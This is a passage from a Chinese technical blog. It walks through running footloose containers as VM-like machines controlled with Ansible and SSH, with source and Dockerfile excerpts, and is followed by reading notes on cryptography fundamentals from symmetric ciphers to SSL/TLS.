cluster-node0 ansible_connection=docker                    # 编写对应 machine 连接方式

[root@yiran ansible]# ansible -m ping all                  # 验证 ansible 通信
cluster-node0 | SUCCESS => {
    "changed": false, 
    "ping": "pong"
}

可以看到，通过 footloose 创建一个 machine（容器），可以支持我们远程连接，通过 Ansible 来控制，那么我们来试试 Ansible Playbook 的效果：

---
- name: Install nginx
  hosts: cluster-node0

  tasks:
  - name: Add epel-release repo
    yum:
      name: epel-release
      state: latest

  - name: Install nginx
    yum:
      name: nginx
      state: latest

  - name: Insert Index Page
    copy:
      content: "welcome to footloose nginx ansible example"
      dest: /usr/share/nginx/html/index.html

  - name: Start NGiNX
    service:
      name: nginx
      state: started

执行结果：

[root@yiran ansible]# ansible-playbook  example1.yml

PLAY [Install nginx] ********************************

TASK [Gathering Facts] *********************************
ok: [cluster-node0]

TASK [Add epel-release repo] *******************************
changed: [cluster-node0]

TASK [Install nginx] ********************************
changed: [cluster-node0]

TASK [Insert Index Page] ***********************************
changed: [cluster-node0]

TASK [Start NGiNX] **********************************
changed: [cluster-node0]

PLAY RECAP ************************
cluster-node0              : ok=5    changed=4    unreachable=0    failed=0   

[root@yiran ansible]# ansible all -m raw -a 'systemctl status nginx'
cluster-node0 | SUCCESS | rc=0 >>
● nginx.service - The nginx HTTP and reverse proxy server
   Loaded: loaded (/usr/lib/systemd/system/nginx.service; disabled; vendor preset: disabled)
   Active: active (running) since Thu 2019-09-19 08:51:26 UTC; 10s ago
  Process: 437 ExecStart=/usr/sbin/nginx (code=exited, status=0/SUCCESS)
  Process: 436 ExecStartPre=/usr/sbin/nginx -t (code=exited, status=0/SUCCESS)
  Process: 435 ExecStartPre=/usr/bin/rm -f /run/nginx.pid (code=exited, status=0/SUCCESS)
 Main PID: 438 (nginx)
   CGroup: /docker/6b8bd7e41a6a303d5cc023e2c2e576773649e4a5188f4ef15b0ad3079e148b49/system.slice/nginx.service
           ├─438 nginx: master process /usr/sbin/ngin
           ├─439 nginx: worker proces
           ├─440 nginx: worker proces
           ├─441 nginx: worker proces
           └─442 nginx: worker proces

Sep 19 08:51:26 node0 systemd[1]: Starting The nginx HTTP and reverse proxy server...
Sep 19 08:51:26 node0 nginx[436]: nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
Sep 19 08:51:26 node0 nginx[436]: nginx: configuration file /etc/nginx/nginx.conf test is successful
Sep 19 08:51:26 node0 systemd[1]: Started The nginx HTTP and reverse proxy server.

可以执行 Ansible Playbook，那几乎意味着我们可以执行任何操作，我们可以通过 ansible rsync 模块直接将代码同步到容器中，也可以通过 Playbook 在容器中执行一些配置来达到我们对环境的修改，可以说是很方便了。

SSH 连接

既然可以通过 Ansible 进行控制，那么我们肯定也可以通过 ssh 进行连接，可以通过 footloose 提供的默认命令 footloose ssh ：

[root@yiran ansible]# footloose ssh root@node0
Last login: Thu Sep 19 08:57:17 2019 from gateway
[root@node0 ~]# hostname
node0
[root@node0 ~]# logout
Connection to localhost closed.

Host 端口映射

在容器使用的过程中，我们通常需要跑一些对外提供端口的服务，这时候就需要进行 Host 端口映射，先来看下 footloose 的配置文件，这里我们指定了 machine的数量是 2，并且指定了容器的 22 端口映射到 host 的 2222端口，依次递增：

cluster:
  name: cluster
  privateKey: cluster-key
machines:
- count: 2
  spec:
    image: quay.io/footloose/centos7
    name: node%d
    portMappings:
    - containerPort: 22
      hostPort: 2222

创建对应 machine 资源：

[root@yiran simple-hostPort]# footloose create
INFO[0000] Creating SSH key: cluster-key ...            
INFO[0000] Pulling image: quay.io/footloose/centos7 ... 
INFO[0013] Creating machine: cluster-node0 ...          
INFO[0014] Creating machine: cluster-node1 ...

通过 netstat 查看 Host 端口情况，这里可以看到 footloose 使用的是 docker 作为容器管理入口：

1
2
3

[root@yiran simple-hostPort]# netstat -antp |grep 222
tcp6       0      0 :::2222                 :::*                    LISTEN      42227/docker-proxy  
tcp6       0      0 :::2223                 :::*                    LISTEN      42540/docker-proxy

这时候就可以使用普通的 ssh 命令连接到容器中了：

[root@yiran simple-hostPort]# ssh root@127.0.0.1 -p 2222 -i cluster-key hostname
The authenticity of host '[127.0.0.1]:2222 ([127.0.0.1]:2222)' can't be established.
ECDSA key fingerprint is SHA256:a6w9oFXMxjPCIXV42C44ogH9uaOILQiAdo/nlGdOnoc.
ECDSA key fingerprint is MD5:6b:a8:78:08:78:63:d4:26:b8:11:9e:3c:31:24:ad:6e.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[127.0.0.1]:2222' (ECDSA) to the list of known hosts.
node0
[root@yiran simple-hostPort]# ssh root@127.0.0.1 -p 2223 -i cluster-key hostname
The authenticity of host '[127.0.0.1]:2223 ([127.0.0.1]:2223)' can't be established.
ECDSA key fingerprint is SHA256:o5cVIJ1MBlw/J/OcNcjZxjqogiIVe03HhU0ZYZEuyPM.
ECDSA key fingerprint is MD5:06:a6:4f:09:4c:23:1e:17:ee:f6:fe:f1:fd:35:e1:ba.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[127.0.0.1]:2223' (ECDSA) to the list of known hosts.
node1
[root@yiran simple-hostPort]# footloose show
NAME            HOSTNAME   PORTS      IP           IMAGE                       CMD          STATE     BACKEND
cluster-node0   node0      2222->22   172.17.0.2   quay.io/footloose/centos7   /sbin/init   Running   
cluster-node1   node1      2223->22   172.17.0.3   quay.io/footloose/centos7   /sbin/init   Running

写了三个使用场景，那么我们来看看 footloose 是怎么实现的。

代码实现

machine 创建：

// CreateMachine creates and starts a new machine in the cluster.
func (c *Cluster) CreateMachine(machine *Machine, i int) error {
	name := machine.ContainerName()

	publicKey, err := c.publicKey(machine) # 获取当前主机的公钥
	...

	cmd := "/sbin/init"                    # 指定容器运行命令
	if machine.spec.Cmd != "" {
		cmd = machine.spec.Cmd
	}

	if machine.IsIgnite() {                # 判断 backend
		...
	} else {                              
		runArgs := c.createMachineRunArgs(machine, name, i)
		_, err := docker.Create(machine.spec.Image,
			runArgs,
			[]string{cmd},
		)
		if err != nil {
			return err
		}

		if len(machine.spec.Networks) > 1 { # 当容器有多个网络配置时，依次进行 bridge 连接
			for _, network := range machine.spec.Networks[1:] {
				log.Infof("Connecting %s to the %s network...", name, network)
				if network == "bridge" {
					if err := docker.ConnectNetwork(name, network); err != nil {
						return err
					}
				} else {
					if err := docker.ConnectNetworkWithAlias(name, network, machine.Hostname()); err != nil {
						return err
					}
				}
			}
		}

		if err := docker.Start(name); err != nil {
			return err
		}

		// Initial provisioning.
		if err := containerRunShell(name, initScript); err != nil {
			return err
		}
		if err := copy(name, publicKey, "/root/.ssh/authorized_keys"); err != nil {
			return err
		}
	}

	return nil
}

解这看下 createMachineRunArgs 里面的实现：

func (c *Cluster) createMachineRunArgs(machine *Machine, name string, i int) []string {
	runArgs := []string{ # 根据已有参数，进行 docker 的命令行拼接
		"-it",
		"--label", "works.weave.owner=footloose",
		"--label", "works.weave.cluster=" + c.spec.Cluster.Name,
		"--name", name,
		"--hostname", machine.Hostname(),
		"--tmpfs", "/run",              # 注意这里传入的参数部分
		"--tmpfs", "/run/lock",
		"--tmpfs", "/tmp:exec,mode=777",
		"-v", "/sys/fs/cgroup:/sys/fs/cgroup:ro", 
	}

	for _, volume := range machine.spec.Volumes { # 卷挂载
		...
	}

	for _, mapping := range machine.spec.PortMappings { # 端口映射
		...
	}

	if machine.spec.Privileged {
		runArgs = append(runArgs, "--privileged")
	}

	if len(machine.spec.Networks) > 0 { # 网络连接
		...
	}

	return runArgs
}

这里需要注意的是，在 docker 命令行最终执行时，添加了 --tmpfs /run --tmpfs /run/lock --tmpfs /tmp:exec,mode=777 参数，并且将 Host 的 cgroup 配置路径通过只读权限传递给了容器，后面有用到。

其他的启动，停止，删除等操作也都是拼接为 docker 的命令行然后执行处理的，这里不过多描述。

那么有个问题，在容器内部，pid 为1 的进程应该是我们运行容器时传递的参数，也就时说，当我们执行的进程结束时，容器也就退出了：

[root@yiran ~]# docker run centos sleep 6000
Unable to find image 'centos:latest' locally
latest: Pulling from library/centos
d8d02d457314: Already exists 
Digest: sha256:307835c385f656ec2e2fec602cf093224173c51119bbebd602c53c3653a3d6eb
Status: Downloaded newer image for centos:latest

# 新开 termimal
[root@yiran ~]# docker ps |grep -i centos
6337dc1ad054        centos                      "sleep 6000"        13 minutes ago      Up 13 minutes                              heuristic_haibt
[root@yiran ~]# docker exec -it  6337dc1ad054 bash
[root@6337dc1ad054 /]# ps -ef
UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0 10:29 ?        00:00:00 sleep 6000
root         23      0  3 10:43 pts/0    00:00:00 bash
root         36     23  0 10:43 pts/0    00:00:00 ps -ef

来看下 footloose 创建的 machine 是如何保证容器持久运行的：

[root@yiran ansible]# 
[root@yiran ansible]# docker ps 
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
[root@yiran ansible]# footloose create
INFO[0000] Docker Image: quay.io/footloose/centos7:0.6.1 present locally 
INFO[0000] Creating machine: cluster-node0 ...          
[root@yiran ansible]# footloose show
NAME            HOSTNAME   PORTS       IP           IMAGE                             CMD          STATE     BACKEND
cluster-node0   node0      32773->22   172.17.0.2   quay.io/footloose/centos7:0.6.1   /sbin/init   Running   docker
[root@yiran ansible]# docker ps 
CONTAINER ID        IMAGE                             COMMAND             CREATED             STATUS              PORTS                   NAMES
8ba9af085e53        quay.io/footloose/centos7:0.6.1   "/sbin/init"        8 seconds ago       Up 7 seconds        0.0.0.0:32773->22/tcp   cluster-node0
[root@yiran ansible]# footloose ssh node0
[root@node0 ~]# ps -ef
UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0 10:46 ?        00:00:00 /sbin/init
root         17      1  0 10:46 ?        00:00:00 /usr/lib/systemd/systemd-journald
root         50      1  0 10:46 ?        00:00:00 /usr/sbin/sshd -D
root         58     50  0 10:46 ?        00:00:00 sshd: root@pts/1
dbus         60      1  0 10:46 ?        00:00:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
root         61      1  0 10:46 ?        00:00:00 /usr/lib/systemd/systemd-logind
root         62     58  0 10:46 pts/1    00:00:00 -bash
root         75     62  0 10:46 pts/1    00:00:00 ps -ef

可以看到在 machine 中， pid 为1 的进程是 init，这个初始化参数是写死在代码里面的，因为 machine 中存在 init 进程，也就保证了我们之后的进程都是在 init 进程树下的，我们可以通过 systemd 对服务进行管理，直到我们的从容器外部将容器杀死。

前面使用过程中，一直忽略了一点，就是我们的容器镜像内部有什么不同么？看下 Dockerfile 里面的内容：

master ✗ $ cat Dockerfile          
FROM centos:7 # base 镜像是 centos7

ENV container docker

RUN yum -y install sudo procps-ng net-tools iproute iputils wget && yum clean all # 安装必要的debug 工具

# 在 centos7 中，init 切换为 systemd 管理，针对容器中删除部分 systemd 配置
RUN (cd /lib/systemd/system/sysinit.target.wants/; for i in *; do [ $i == \
systemd-tmpfiles-setup.service ] || rm -f $i; done); \
rm -f /lib/systemd/system/multi-user.target.wants/*;\
rm -f /etc/systemd/system/*.wants/*;\
rm -f /lib/systemd/system/local-fs.target.wants/*; \
rm -f /lib/systemd/system/sockets.target.wants/*udev*; \
rm -f /lib/systemd/system/sockets.target.wants/*initctl*; \
rm -f /lib/systemd/system/basic.target.wants/*;\
rm -f /lib/systemd/system/anaconda.target.wants/*;\
rm -f /lib/systemd/system/*.wants/*update-utmp*;

# 为了支持 ssh 连接，安装 openssh
RUN yum -y install openssh-server && yum clean all

# 暴露 22 端口
EXPOSE 22

# https://www.freedesktop.org/wiki/Software/systemd/ContainerInterface/
STOPSIGNAL SIGRTMIN+3

CMD ["/bin/bash"]

可以看到 footloose 支持的镜像在官方的 CentOS7 的基础上进行了部分配置，比如 systemd、openssh、端口暴露等，来让容器更像是一台虚拟机。

总结

为了方便的进行持续集成，我们引入了容器；为了更方便的进行调试/测试，我们让容器装作虚拟机的样子，也是无奈。

参考链接

https://github.com/weaveworks/footloose

《图解密码技术》读书笔记

发表于 2019-09-14 |

背景

自己对于密码技术相关的知识一直都是零散的，刚接触 k8s 的时候遇到了好多证书问题都是靠临时搜索解决的，不成体系。

liqiang 同学推荐了《图解密码技术》，趁着中秋假期看完了做了读书笔记，记录一下。

密码

环游密码世界

口令：password, passcode, pin
编码：encode
密码：cryptography

对称密码是指在加密和解密时使用同一密钥的方式。

公钥密码是指在加密和解密时使用不同密钥的方式，又称为非对称加密。

将对称密码和公钥密码结合起来的密码方式称为混合密码系统。

单项散列函数，用于保证完整性：“数据时正确的而不是伪造的”，没有被篡改过。

数字签名能够保证数据不会被篡改，也防止发送者的否认。

伪随机数生成器是一种能够模拟产生随机数列的算法，同时承担着密钥生成的重要职责。

隐写术隐藏的是消息本身，而密码隐藏的是内容，应用场景：数字水印。

密码与信息安全常识：

不要使用保密的密码算法
使用低强度的密码比不进行任何加密更危险
任何密码总有一天都会被破解
密码只是信息安全的一部分

历史上的密码

凯撒密码，通过平移字母顺序达到加密效果，平移字母个数为密钥。
简单替换密码，通过维护字母对照表达到加密效果。

密钥空间，所有可用密钥的总数就是密钥空间的大小，空间越大，暴力破解越困难。

频率分析破译：通过分析语言中高频使用字母及单词达到破译效果。

Enigma ：通过增加通信密码的方式保证安全性。
问题：

通信密码连续输入2词并加密
通信密码是认为设定的
必须有每日密码本

对称密码

将显示世界中的东西映射为比特序列的操作称为编码。

XOR，异或，相同为0 ，不同为1。

比特序列的异或，将明文 A 用密钥 B 进行加密，得到密文 A XOR B，将密文 A XOR B 用密钥 B 进行解密，得到明文 A。

一次性密码本，又称为维纳没密码，通过生成随机比特序列与明文异或加密。

理论上无法破解的原因：无法判断暴力破解的结果是否是争取的明文。
无法使用的原因：

密钥的发送
密钥的保存，密钥长度与明文长度相等。
密钥的重用
密钥的同步
密钥的生成，需要真正的随机数

DES（Data Encryption Standard），可被短时间破译，不推荐使用。

DES 将64 比特的明文加密成64比特的密文，密钥长度是56比特，从规格上说，DES 的密钥长度是64 比特，但由于每隔7 比特会设置一个用于错误校验的比特，因此实质上密钥长度是56比特。

DES 以每 64 比特的明文为最小单位进行加密，属于分组密钥的一种。

DES 结构，又称为 Feistel 网络，在很多密码算法中都有应用。

加密步骤：

将输入的数据等分为左右两部分
将输入的右侧直接发送到输出的右侧
将输入的右侧发送到轮函数
轮函数根据右侧数据和子密钥，计算出一串看上去是随机的比特序列
将上一步得到的比特序列与左侧数据进行 XOR 运算，并将结果作为加密后的左侧
因为上述使用将右侧数据作为密钥的一部分，因此需要指定规则（如每两轮）对输入数据的左右进行数据对调

DES 加密时无论使用任何函数作为轮函数都可以正确解密，也就是说，轮函数无需考虑解密的问题，可以被设计的任意复杂。

三重 DES，为了增加 DES 的强度，将DES 重复3次所得到的一种密码算法。

加密过程为：加密，解密，加密，这么做的目的是为了能够让三重DES 兼容普通的 DES。

AES（Advanced Encryption Standard）取代DES。通过评选，最终选择 Rijndael。

Rijndael 分组成都为 128 比特，密钥长度可以以32比特为单位在128 比特到256 比特的范围内进行选择，在AES 规格中，密钥长度只有 128，192，256 比特三种。

AES 使用 SPN 结构。
加密过程：

SubBytes 处理，输入分组为 128 比特，16 字节，首先逐个字节的对16字节的输入数据进行SubBytes 处理，可以简单的理解为“简单替换密码” 中的 256 个字母的版本
ShiftRows 处理，将 SubBytes 的输出以字节为单位进行打乱处理，注意，打乱处理是有规律的
MixColumns 处理，对一个4字节的值进行比特运算，将其变为另一个4字节的值
AddRoundKey 处理，将 MixColumns 的输出与轮密钥进行XOR
重复上述4步，需要重复 10 - 14 轮计算。

相比 Feistel 网络，SPN 优势：

加密锁需要的轮数更少
所有处理均按照字节为单位进行，速度更快

劣势：

无法使用同一种结构实现加密和解密

分组密码的模式

分组密码是每次只能处理特定长度的一块数据的一类密码算法，一个分组的比特书就称为分组长度。

例如 DES 和三重 DES 的分组长度都是 64 比特，也就是会所一次只能加密64 比特的明文，并生成64 比特的密文。

当对一段很长的明文进行加密时，的呆的方法就称为分组密钥的模式。
主要模式有以下5种：

ECB 模式，电子密码本模式
CBC 模式，密码分组链接模式
CFB 模式，密文反馈模式
OFB 模式，输出反馈模式
CTR 模式，计数器模式

ECB 模式，将明文分组加密之后的结果直接称为密文分组，若分组内容小于分组长度时，则自动向上填充。

弱点：可以在步破译密文的情况下操纵明文。

CBC 模式，首先将明文分组与前一个密文分组进行 XOR 运算，然后再进行加密。

CFB 模式，前一个密文分组会被送回到密码算法的输入端，即初始化向量通过加密算法与明文分组进行异或运算，得到密文分组。

OFB 模式，密码算法的输出会反馈到密码算法的输入中，通过将明文分组和密码算法的输出进行异或运算来产生密文分组。

CTR 模式，通过将逐次累加的计数器进行加密来生成密钥流的流密码。每个分组对应一个逐次累加的计数器，并通过对计数器进行加密来生成密钥流，也就是说，最终的密钥分组时通过将计数器加密得到的比特序列与明文分组进行异或运算得到的。

公钥密码

公钥密码是密码学历史上最伟大的发明，是数学史上最伟大的发现。

公钥密码解决的问题：密钥发送。

在公钥密码中，密钥氛围加密密钥和解密密钥两种，发送者用加密密钥对消息进行加密，接收者用解密密钥对密文进行解密。

注意：

发送者只需要加密密钥
接收者值需要解密密钥
解密密钥步可以被窃听者窃取
加密密钥被窃听者获取也没问题

RSA 是一种公钥密码算法，被用于公钥密码和数字签名。
加密公式：对代表明文的数字的 E 次方球 mod N 的结果，结果就是密文。其中 E 和 N 是 RSA 加密的密钥，也就是E 和 N 的组合就是公钥。

解密公式：对代表密文的数字的 D 次方球 mod N 就可以得到明文，其中 N 与加密算法中的N 是相同的。

生成密钥对流程：

求 N
1. 准备两个很大的质数，假设为 p 和 q，并将其相乘，结果为 N
求 L
1. L 是 p-1 和 q-1 的最小公倍数
求 E
1. E 是一个比 1 大，比 L 小的数，E 和 L 的最大公约数必须为 1
求 D
1. 1 < D < L
2. E * D mod L = 1

混合密码系统

公钥密码劣势：

公钥密钥处理速度远远低于对称密码
公钥密码难以抵御中间人攻击

混合密码主要解决上述问题 1。有以下机制：

用对称密码加密消息
通过伪随机数生成器生成对称密码加密中使用的会话密钥
用公钥密码加密会话密钥
从混合密码系统外部赋予公钥密码加密时使用的密钥

认证

单向散列函数

单向散列函数有一个输入和一个输出，输入称为消息，输出称为散列值，函数可以根据消息的内容计算出散列值，可以根据散列值来检查消息的完整性。

特性：

根据任意长度的消息计算出固定长度的散列值
能够快速计算出散列值
消息不同散列值也不同
具备单向性

实际应用：

检测软件是否被篡改
基于口令的加密
消息认证码
数字签名
伪随机数生成器
一次性口令

具体例子：

MD4，MD5
SHA-1，SHA-256，SHA-384，SHA-512
RIPEMD-160
AHS，SHA-3

单向散列函数能够辨别出篡改，但是无法辨别出伪装。当我们想要确定文件的所有者时谁，需要进行认证。用于认证的技术包括消息验证码和数字签名。消息认证码能够想通信对象保证消息没有被篡改，而数字签名不仅能够向通信对象保证消息没有被篡改，还能够向所有第三方作出这样的保证。

消息认证码

在消息传递时，需要关注完整性和认证两个性质。

消息认证码是一种确认完整性并进行认证的技术，简称 MAC。消息认证码的输入包括任意长度的消息和一个发送者与接收者之间共享的密钥，它可以输出固定长度的数据，这个数据称为 MAC 值。简单理解：消息认证码是一种与密钥相关联的单向散列函数。

无法解决的问题：

对第三方证明
防止否认

数字签名

为什么要使用数字签名：

消息认证码的局限性
消息认证码无法防止否认，发送者与接收者共享同一个密钥，对第三方来说，无法确认消息是谁发送的

签名的生成和验证

生成消息签名的行为
- 由消息的发送者完成，意味着“发送者认可该消息的内容”
- 发送者使用签名密钥生成消息的签名
- 签名密钥只能由签名人持有
验证消息签名的行为
- 一般由消息的接收者完成，也可以由需要验证消息的第三方来完成
- 接收者使用验证密钥进行密钥的验证
- 验证密钥无法生成签名
- 验证密钥可以是任何由需要验证签名的人持有

公钥密钥使用公钥加密，使用私钥解密；

数字签名使用私钥签发，使用公钥验证。

缺点：

无法判断公钥是否属于签发者

证书

公钥证书与驾照类似，记录着姓名、组织、邮箱地址等个人信息以及属于此人的公钥，并由认证机构施加数字签名，公钥证书简称证书。

典型使用流程：

接收者生成密钥对
接收者在认证结构 Trent 注册自己的公钥
认证结构 Trent 用自己的私钥对 Bob 的公钥施加数字签名并生成证书
发送者得到带有认证机构 Trent 的数字签名的接收者的公钥（证书）
发送者使用认证机构 Trent 的公钥验证数字签名，确认接收者公钥的合法性
发送者使用接收者的公钥加密消息并发送到接收者
接收者使用自己的私钥解密密文得到发送者的消息

公钥基础设施是为了能够更有效的运用公钥而指定的一系列规范和规格的总称，简称 PKI。

组成要素：

用户—使用 PKI 的人
认证机构—颁发证书的人
仓库—保存证书的数据库

密钥、随机数与应用技术

密钥

密钥就是一个巨大的数字，数字本身不重要，重要的是密钥空间的大小，空间越大，暴力破解就越困难，空间的大小是由密钥长度决定的。

密钥与明文是等价的，明文的价值就是密钥的价值。

密钥的用途：

在对称密码中，由于发送者和接收者之间需要共享密钥，因此对称密钥又称为共享密钥密码。
在公钥密码中，加密和解密使用的是不同的密钥，加密的是公钥，解密的是私钥，私钥也称为私密密钥，公钥与私钥也称为密钥对。
对称密码和公钥密钥的密钥都是用于确保机密性的密钥，相对的，消息认证码和数字签名所使用的密钥，则是用于认证的密钥。

密钥的管理：

生成密钥
- 用随机数生成密钥
- 用口令生成密钥
配送密钥
- 事先共享密钥
- 使用公钥密码
- Diffie-Hellman 密钥交换
更新密钥
- 用当前密钥的散列值作为下一个密钥
保存密钥
- 人类无法记住密钥
- 保存在保险柜等安全的地方
- 将密钥加密后保存
- 减少需要保管的密钥数量
作废密钥
- 删除密钥的同时，需要将对应的加密后文件一同删除

如何生成安全的口令

使用只有自己才能知道的信息
- 不要使用对自己重要的事物的名字
- 不要使用关于自己的信息
- 不要使用别人见过的信息
将多个不同的口令分开使用
有效利用笔记
理解口令的局限性

随机数

为了不让攻击者看穿而使用随机数。

应用场景：

生成密钥
- 用于对称密码和消息认证码
生成密钥对
- 用于公钥密码和数字签名
生成初始化向量
- 用于分组密码的 CBC、CFB、OFB 模式
生成 nonce
- 用于防御重放攻击以及分组密码的 CTR 模式等
生成盐
- 用于基于口令的密码等

随机数的性质：

随机性—不存在统计学偏差，完全杂乱的数列
不可预测行—不能从过去的数列推测出下一个出现的数
不可重现性—除非将数列本身保存下来，否则不能重现相同的数列

PGP

PGP（Pretty Good Privary）是一款密码软件，支持多平台。

功能列表：

对称密码
公钥密码
数字签名
单向散列函数
证书
压缩
文本数据
大文件的拆分和拼合
钥匙串管理

加密流程：

解密流程：

SSL/TLS

SSL(Secure Socket Layer)
TLS(Transport Layer Security)

当 Web 浏览器发送请求时，请求的数据会作为客户端请求发送给服务器，如果通信内容被窃听者所窃取，那么窃听者就会得到请求数据。可以使用 SSL/TLS 作为对通信进行加密的协议，然后再次智商承载 HTTP。通过将两种协议进行叠加，我们就可以对HTTP 的通信进行加密，防止窃听。通过 SSL/TLS 进行通信时，URL 以 https 开头。

解决问题：

机密性问题
- 解决方式：对称密码、伪随机数生成器、公钥密码
完整性问题
- 解决方式：消息认证码
认证问题
- 解决方式：数字签名

SSL 与 TLS 区别：
SSL 是 1994年由王晶公司设计的一种协议，于1995年发布了3.0 版本。
TLS 设市 IETF 基于 SSL 3.0 版本的基础上设计的协议，在 1999年发布了 TLS 1.0 版本，实际上相当于 SSL 3.1。2006 年发布 TLS 1.1 版本，在对称密码算法中加入了 AES 支持。

SSL/TLS 使用到的密码技术：

公钥密码
- 加密预备主密码
单向散列函数
- 构成伪随机数生成器
数字签名
- 验证服务器和客户端的证书
伪随机数生成器
- 生成预备主密码
- 根据主密码生成密钥
- 生成初始化向量
对称密码
- 确保片段的机密性
消息认证码
- 确保片段的完整性并进行认证

密码技术与现实社会

密码的作用是为了确保机密性，将明文转换为密文。转换之后，密文不需要保护了，需要保护的是加密时使用的密钥。通过保护较短的密钥来保护较长的明文，称为机密性的压缩。

单向散列函数时用于确认完整性的，不必检查较长的明文的完整性，只要检查散列值就能确认，这种做法称为完整性的压缩。

消息认证码和数字签名都是用于认证的技术，通过较短的认证富豪来对较长的消息进行认证，称为认证的压缩。

只有完美的密码，没有完美的人。